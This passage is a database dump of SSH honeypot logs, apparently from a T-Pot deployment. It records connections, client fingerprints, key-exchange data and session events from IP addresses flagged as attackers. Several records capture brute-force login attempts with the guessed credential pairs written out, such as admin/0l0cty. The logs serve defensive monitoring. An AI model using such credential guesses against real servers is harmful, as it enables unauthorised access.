"t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25636	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:32.996493+03	2021-09-20 14:15:10.4115+03	{"_id": "cwbmAnwBvYTbRNuEgRvr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52748, "timestamp": "2021-09-20T11:10:32.996493", "@timestamp": "2021-09-20T11:10:32.996Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25637	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:32.57162+03	2021-09-20 14:15:10.4135+03	{"_id": "dgbmAnwBvYTbRNuEghuN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:7459 (192.168.176.2:22) [session: 7ef33178df3f]", "session": "7ef33178df3f", "@version": "1", "protocol": "ssh", "src_port": 7459, "dest_port": 22, "timestamp": "2021-09-20T11:10:32.571620Z", "@timestamp": "2021-09-20T11:10:32.571Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25638	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:32.721218+03	2021-09-20 14:15:10.4145+03	{"_id": "dwbmAnwBvYTbRNuEghuN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:52748 (192.168.176.2:22) [session: ed4a6510588f]", "session": "ed4a6510588f", "@version": "1", "protocol": "ssh", "src_port": 52748, "dest_port": 22, "timestamp": "2021-09-20T11:10:32.721218Z", "@timestamp": "2021-09-20T11:10:32.721Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25639	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:32.759989+03	2021-09-20 14:15:10.4155+03	{"_id": "eAbmAnwBvYTbRNuEghuN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:39082 (192.168.176.2:22) [session: e0c4ddf1b44d]", "session": "e0c4ddf1b44d", "@version": "1", "protocol": "ssh", "src_port": 39082, "dest_port": 22, "timestamp": "2021-09-20T11:10:32.759989Z", "@timestamp": "2021-09-20T11:10:32.759Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25640	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:32.574478+03	2021-09-20 14:15:10.4165+03	{"_id": "fQbmAnwBvYTbRNuEghuN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "7ef33178df3f", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:32.574478Z", "@timestamp": "2021-09-20T11:10:32.574Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25641	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:32.6078+03	2021-09-20 14:15:10.4175+03	{"_id": "fgbmAnwBvYTbRNuEghuN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "5d3b1bd5c39d", "@version": "1", "duration": 4.954014778137207, "timestamp": "2021-09-20T11:10:32.607800Z", "@timestamp": "2021-09-20T11:10:32.607Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25642	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:32.762895+03	2021-09-20 14:15:10.419503+03	{"_id": "fwbmAnwBvYTbRNuEghuN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "e0c4ddf1b44d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:32.762895Z", "@timestamp": "2021-09-20T11:10:32.762Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25643	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:32.768788+03	2021-09-20 14:15:10.420501+03	{"_id": "gAbmAnwBvYTbRNuEghuN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ed4a6510588f", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:32.768788Z", "@timestamp": "2021-09-20T11:10:32.768Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25644	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:32.885511+03	2021-09-20 14:15:10.4215+03	{"_id": "gQbmAnwBvYTbRNuEghuN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "7ef33178df3f", "@version": "1", "timestamp": "2021-09-20T11:10:32.885511Z", "@timestamp": "2021-09-20T11:10:32.885Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25645	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:10:32.9464+03	2021-09-20 14:15:10.4225+03	{"_id": "ggbmAnwBvYTbRNuEghuN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [ntp/ntp] failed", "session": "ac59f0bea186", "@version": "1", "password": "ntp", "username": "ntp", "timestamp": "2021-09-20T11:10:32.946400Z", "@timestamp": "2021-09-20T11:10:32.946Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25646	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:33.053132+03	2021-09-20 14:15:10.4235+03	{"_id": "gwbmAnwBvYTbRNuEghuN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "e0c4ddf1b44d", "@version": "1", "timestamp": "2021-09-20T11:10:33.053132Z", "@timestamp": "2021-09-20T11:10:33.053Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25647	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:33.262282+03	2021-09-20 14:15:10.4255+03	{"_id": "hAbmAnwBvYTbRNuEghuN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "4569a57205cf", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T11:10:33.262282Z", "@timestamp": "2021-09-20T11:10:33.262Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25648	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:10:33.4056+03	2021-09-20 14:15:10.426497+03	{"_id": "hQbmAnwBvYTbRNuEghuN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "9b92c9673a4f", "@version": "1", "duration": 2.6225509643554688, "timestamp": "2021-09-20T11:10:33.405600Z", "@timestamp": "2021-09-20T11:10:33.405Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25649	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:33.821673+03	2021-09-20 14:15:10.4275+03	{"_id": "hwbmAnwBvYTbRNuEhRvU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "113.105.80.34", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35480, "timestamp": "2021-09-20T11:10:33.821673", "@timestamp": "2021-09-20T11:10:33.821Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25650	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:10:33.820172+03	2021-09-20 14:15:10.428504+03	{"_id": "kgbmAnwBvYTbRNuEhhtr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 113.105.80.34:35480 (192.168.176.2:22) [session: 321dd6faebd3]", "session": "321dd6faebd3", "@version": "1", "protocol": "ssh", "src_port": 35480, "dest_port": 22, "timestamp": "2021-09-20T11:10:33.820172Z", "@timestamp": "2021-09-20T11:10:33.820Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25651	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:33.808443+03	2021-09-20 14:15:10.429494+03	{"_id": "jwbmAnwBvYTbRNuEhhtq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [admin/0l0cty] failed", "session": "7ef33178df3f", "@version": "1", "password": "0l0cty", "username": "admin", "timestamp": "2021-09-20T11:10:33.808443Z", "@timestamp": "2021-09-20T11:10:33.808Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
